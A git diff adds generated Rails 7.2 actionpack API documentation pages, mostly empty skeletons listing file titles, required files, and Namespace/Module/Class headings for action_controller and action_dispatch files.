diff --git a/src/7.2/files/actionpack/lib/action_controller/railties/helpers_rb.html b/src/7.2/files/actionpack/lib/action_controller/railties/helpers_rb.html new file mode 100644 index 0000000000..abeda46d42 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/railties/helpers_rb.html @@ -0,0 +1,74 @@ +--- +title: helpers.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/renderer_rb.html b/src/7.2/files/actionpack/lib/action_controller/renderer_rb.html new file mode 100644 index 0000000000..a8645a9fbd --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/renderer_rb.html @@ -0,0 +1,79 @@ +--- +title: renderer.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/template_assertions_rb.html b/src/7.2/files/actionpack/lib/action_controller/template_assertions_rb.html new file mode 100644 index 0000000000..e8fd0b8362 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/template_assertions_rb.html @@ -0,0 +1,70 @@ +--- +title: template_assertions.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/test_case_rb.html b/src/7.2/files/actionpack/lib/action_controller/test_case_rb.html new file mode 100644 index 0000000000..80f2844e69 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/test_case_rb.html @@ -0,0 +1,115 @@ +--- +title: test_case.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rack/session/abstract/id
  • + +
  • active_support/core_ext/hash/conversions
  • + +
  • active_support/core_ext/object/to_query
  • + +
  • active_support/core_ext/module/anonymous
  • + +
  • active_support/core_ext/module/redefine_method
  • + +
  • active_support/core_ext/hash/keys
  • + +
  • active_support/testing/constant_lookup
  • + +
  • action_controller/template_assertions
  • + +
  • rails-dom-testing
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller_rb.html b/src/7.2/files/actionpack/lib/action_controller_rb.html new file mode 100644 index 0000000000..8b26a0e5db --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller_rb.html @@ -0,0 +1,94 @@ +--- +title: action_controller.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • abstract_controller
  • + +
  • action_dispatch
  • + +
  • action_controller/deprecator
  • + +
  • action_controller/metal/strong_parameters
  • + +
  • action_controller/metal/exceptions
  • + +
  • active_support/core_ext/module/attribute_accessors
  • + +
  • active_support/core_ext/module/attr_internal
  • + +
  • active_support/core_ext/name_error
  • + +
  • active_support/inflector
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/constants_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/constants_rb.html new file mode 100644 index 0000000000..adbf912d79 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/constants_rb.html @@ -0,0 +1,80 @@ +--- +title: constants.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rack/version
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/deprecator_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/deprecator_rb.html new file mode 100644 index 0000000000..bbe0159371 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/deprecator_rb.html @@ -0,0 +1,72 @@ +--- +title: deprecator.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/http/cache_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/http/cache_rb.html new file mode 100644 index 0000000000..adf9ef4a4b --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/http/cache_rb.html @@ -0,0 +1,78 @@ +--- +title: cache.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/http/content_disposition_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/http/content_disposition_rb.html new file mode 100644 index 0000000000..cd351f771c --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/http/content_disposition_rb.html @@ -0,0 +1,72 @@ +--- +title: content_disposition.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/http/content_security_policy_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/http/content_security_policy_rb.html new file mode 100644 index 0000000000..78a6169f5f --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/http/content_security_policy_rb.html @@ -0,0 +1,93 @@ +--- +title: content_security_policy.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/object/deep_dup
  • + +
  • active_support/core_ext/array/wrap
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/http/filter_parameters_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/http/filter_parameters_rb.html new file mode 100644 index 0000000000..b64d8a1e1c --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/http/filter_parameters_rb.html @@ -0,0 +1,84 @@ +--- +title: filter_parameters.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/parameter_filter
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/http/filter_redirect_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/http/filter_redirect_rb.html new file mode 100644 index 0000000000..aca49c6071 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/http/filter_redirect_rb.html @@ -0,0 +1,74 @@ +--- +title: filter_redirect.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/http/headers_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/http/headers_rb.html new file mode 100644 index 0000000000..f21356ec52 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/http/headers_rb.html @@ -0,0 +1,79 @@ +--- +title: headers.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/http/mime_negotiation_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/http/mime_negotiation_rb.html new file mode 100644 index 0000000000..d414edb8ed --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/http/mime_negotiation_rb.html @@ -0,0 +1,93 @@ +--- +title: mime_negotiation.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/module/attribute_accessors
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/http/mime_type_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/http/mime_type_rb.html new file mode 100644 index 0000000000..9d52b88c22 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/http/mime_type_rb.html @@ -0,0 +1,95 @@ +--- +title: mime_type.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • singleton
  • + +
  • action_dispatch/http/mime_types
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/http/mime_types_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/http/mime_types_rb.html new file mode 100644 index 0000000000..11986b8a06 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/http/mime_types_rb.html @@ -0,0 +1,76 @@ +--- +title: mime_types.rb +layout: default +--- +
+ + +
+
+ +
+ +

Build list of Mime types for HTTP responses www.iana.org/assignments/media-types/

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/http/parameters_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/http/parameters_rb.html new file mode 100644 index 0000000000..801482a48d --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/http/parameters_rb.html @@ -0,0 +1,87 @@ +--- +title: parameters.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/http/permissions_policy_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/http/permissions_policy_rb.html new file mode 100644 index 0000000000..6f290392eb --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/http/permissions_policy_rb.html @@ -0,0 +1,91 @@ +--- +title: permissions_policy.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/object/deep_dup
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/http/rack_cache_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/http/rack_cache_rb.html new file mode 100644 index 0000000000..c4f3df9a2d --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/http/rack_cache_rb.html @@ -0,0 +1,57 @@ +--- +title: rack_cache.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/http/request_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/http/request_rb.html new file mode 100644 index 0000000000..7a875a1137 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/http/request_rb.html @@ -0,0 +1,113 @@ +--- +title: request.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • stringio
  • + +
  • active_support/inflector
  • + +
  • action_dispatch/http/headers
  • + +
  • action_controller/metal/exceptions
  • + +
  • rack/request
  • + +
  • action_dispatch/http/cache
  • + +
  • action_dispatch/http/mime_negotiation
  • + +
  • action_dispatch/http/parameters
  • + +
  • action_dispatch/http/filter_parameters
  • + +
  • action_dispatch/http/upload
  • + +
  • action_dispatch/http/url
  • + +
  • active_support/core_ext/array/conversions
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/http/response_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/http/response_rb.html new file mode 100644 index 0000000000..a99c411619 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/http/response_rb.html @@ -0,0 +1,97 @@ +--- +title: response.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/module/attribute_accessors
  • + +
  • action_dispatch/http/filter_redirect
  • + +
  • action_dispatch/http/cache
  • + +
  • monitor
  • + +
  • rack/headers
  • + +
  • rack/utils
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/http/upload_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/http/upload_rb.html new file mode 100644 index 0000000000..5beddfe8e1 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/http/upload_rb.html @@ -0,0 +1,79 @@ +--- +title: upload.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/http/url_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/http/url_rb.html new file mode 100644 index 0000000000..95f103a443 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/http/url_rb.html @@ -0,0 +1,82 @@ +--- +title: url.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/module/attribute_accessors
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/journey/formatter_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/journey/formatter_rb.html new file mode 100644 index 0000000000..8e9d7417c7 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/journey/formatter_rb.html @@ -0,0 +1,93 @@ +--- +title: formatter.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_controller/metal/exceptions
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/journey/gtg/builder_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/journey/gtg/builder_rb.html new file mode 100644 index 0000000000..64a4558c3f --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/journey/gtg/builder_rb.html @@ -0,0 +1,80 @@ +--- +title: builder.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_dispatch/journey/gtg/transition_table
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/journey/gtg/simulator_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/journey/gtg/simulator_rb.html new file mode 100644 index 0000000000..a01bc5dcf5 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/journey/gtg/simulator_rb.html @@ -0,0 +1,80 @@ +--- +title: simulator.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • strscan
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/journey/gtg/transition_table_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/journey/gtg/transition_table_rb.html new file mode 100644 index 0000000000..77bd17e52b --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/journey/gtg/transition_table_rb.html @@ -0,0 +1,82 @@ +--- +title: transition_table.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_dispatch/journey/nfa/dot
  • + +
  • erb
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/journey/nfa/dot_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/journey/nfa/dot_rb.html new file mode 100644 index 0000000000..c4051c65c3 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/journey/nfa/dot_rb.html @@ -0,0 +1,72 @@ +--- +title: dot.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/journey/nodes/node_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/journey/nodes/node_rb.html new file mode 100644 index 0000000000..77308075cd --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/journey/nodes/node_rb.html @@ -0,0 +1,80 @@ +--- +title: node.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_dispatch/journey/visitors
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/files/actionpack/lib/action_dispatch/journey/parser_extras_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/journey/parser_extras_rb.html similarity index 100% rename from src/files/actionpack/lib/action_dispatch/journey/parser_extras_rb.html rename to src/7.2/files/actionpack/lib/action_dispatch/journey/parser_extras_rb.html diff --git a/src/7.2/files/actionpack/lib/action_dispatch/journey/parser_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/journey/parser_rb.html new file mode 100644 index 0000000000..47d8fb562d --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/journey/parser_rb.html @@ -0,0 +1,93 @@ +--- +title: parser.rb +layout: default +--- +
+ + +
+
+ +
+ +

DO NOT MODIFY!!!! This file is automatically generated by Racc 1.4.16 from Racc grammar file β€œβ€.

+ +
+ + + + +

Required Files

+
    + +
  • racc/parser.rb
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/journey/path/pattern_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/journey/path/pattern_rb.html new file mode 100644 index 0000000000..0e361c4371 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/journey/path/pattern_rb.html @@ -0,0 +1,72 @@ +--- +title: pattern.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/journey/route_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/journey/route_rb.html new file mode 100644 index 0000000000..fe031717b5 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/journey/route_rb.html @@ -0,0 +1,85 @@ +--- +title: route.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/journey/router/utils_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/journey/router/utils_rb.html new file mode 100644 index 0000000000..a58e6e2e8b --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/journey/router/utils_rb.html @@ -0,0 +1,72 @@ +--- +title: utils.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/journey/router_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/journey/router_rb.html new file mode 100644 index 0000000000..5d81ceff49 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/journey/router_rb.html @@ -0,0 +1,92 @@ +--- +title: router.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_dispatch/journey/router/utils
  • + +
  • action_dispatch/journey/routes
  • + +
  • action_dispatch/journey/formatter
  • + +
  • action_dispatch/journey/parser
  • + +
  • action_dispatch/journey/route
  • + +
  • action_dispatch/journey/path/pattern
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/journey/routes_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/journey/routes_rb.html new file mode 100644 index 0000000000..7bd56dccbf --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/journey/routes_rb.html @@ -0,0 +1,72 @@ +--- +title: routes.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/journey/scanner_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/journey/scanner_rb.html new file mode 100644 index 0000000000..4072a76ddc --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/journey/scanner_rb.html @@ -0,0 +1,80 @@ +--- +title: scanner.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • strscan
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/journey/visitors_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/journey/visitors_rb.html new file mode 100644 index 0000000000..90045baa7b --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/journey/visitors_rb.html @@ -0,0 +1,79 @@ +--- +title: visitors.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/journey_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/journey_rb.html new file mode 100644 index 0000000000..1d344537e0 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/journey_rb.html @@ -0,0 +1,69 @@ +--- +title: journey.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_dispatch/journey/router
  • + +
  • action_dispatch/journey/gtg/builder
  • + +
  • action_dispatch/journey/gtg/simulator
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/log_subscriber_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/log_subscriber_rb.html new file mode 100644 index 0000000000..f7426d4732 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/log_subscriber_rb.html @@ -0,0 +1,77 @@ +--- +title: log_subscriber.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/middleware/actionable_exceptions_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/middleware/actionable_exceptions_rb.html new file mode 100644 index 0000000000..c5ae436a0b --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/middleware/actionable_exceptions_rb.html @@ -0,0 +1,84 @@ +--- +title: actionable_exceptions.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • uri
  • + +
  • active_support/actionable_error
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/middleware/assume_ssl_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/middleware/assume_ssl_rb.html new file mode 100644 index 0000000000..46cc9dd39e --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/middleware/assume_ssl_rb.html @@ -0,0 +1,77 @@ +--- +title: assume_ssl.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/middleware/callbacks_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/middleware/callbacks_rb.html new file mode 100644 index 0000000000..4a7b9cfde4 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/middleware/callbacks_rb.html @@ -0,0 +1,77 @@ +--- +title: callbacks.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/middleware/cookies_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/middleware/cookies_rb.html new file mode 100644 index 0000000000..918bad82ac --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/middleware/cookies_rb.html @@ -0,0 +1,99 @@ +--- +title: cookies.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/hash/keys
  • + +
  • active_support/key_generator
  • + +
  • active_support/message_verifier
  • + +
  • active_support/json
  • + +
  • rack/utils
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/middleware/debug_exceptions_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/middleware/debug_exceptions_rb.html new file mode 100644 index 0000000000..7d1ed04614 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/middleware/debug_exceptions_rb.html @@ -0,0 +1,97 @@ +--- +title: debug_exceptions.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_dispatch/middleware/exception_wrapper
  • + +
  • action_dispatch/routing/inspector
  • + +
  • action_view
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/middleware/debug_locks_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/middleware/debug_locks_rb.html new file mode 100644 index 0000000000..b187f46df8 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/middleware/debug_locks_rb.html @@ -0,0 +1,79 @@ +--- +title: debug_locks.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/middleware/debug_view_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/middleware/debug_view_rb.html new file mode 100644 index 0000000000..614359fe38 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/middleware/debug_view_rb.html @@ -0,0 +1,84 @@ +--- +title: debug_view.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • pp
  • + +
  • action_view
  • + +
  • action_view/base
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/middleware/exception_wrapper_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/middleware/exception_wrapper_rb.html new file mode 100644 index 0000000000..35f795e096 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/middleware/exception_wrapper_rb.html @@ -0,0 +1,99 @@ +--- +title: exception_wrapper.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/module/attribute_accessors
  • + +
  • active_support/syntax_error_proxy
  • + +
  • active_support/core_ext/thread/backtrace/location
  • + +
  • rack/utils
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/middleware/executor_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/middleware/executor_rb.html new file mode 100644 index 0000000000..048af11d83 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/middleware/executor_rb.html @@ -0,0 +1,85 @@ +--- +title: executor.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rack/body_proxy
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/middleware/flash_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/middleware/flash_rb.html new file mode 100644 index 0000000000..72278a645d --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/middleware/flash_rb.html @@ -0,0 +1,91 @@ +--- +title: flash.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/hash/keys
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/middleware/host_authorization_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/middleware/host_authorization_rb.html new file mode 100644 index 0000000000..def6c9761b --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/middleware/host_authorization_rb.html @@ -0,0 +1,79 @@ +--- +title: host_authorization.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/middleware/public_exceptions_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/middleware/public_exceptions_rb.html new file mode 100644 index 0000000000..6c256722e4 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/middleware/public_exceptions_rb.html @@ -0,0 +1,79 @@ +--- +title: public_exceptions.rb +layout: default +--- +
+ + +
+
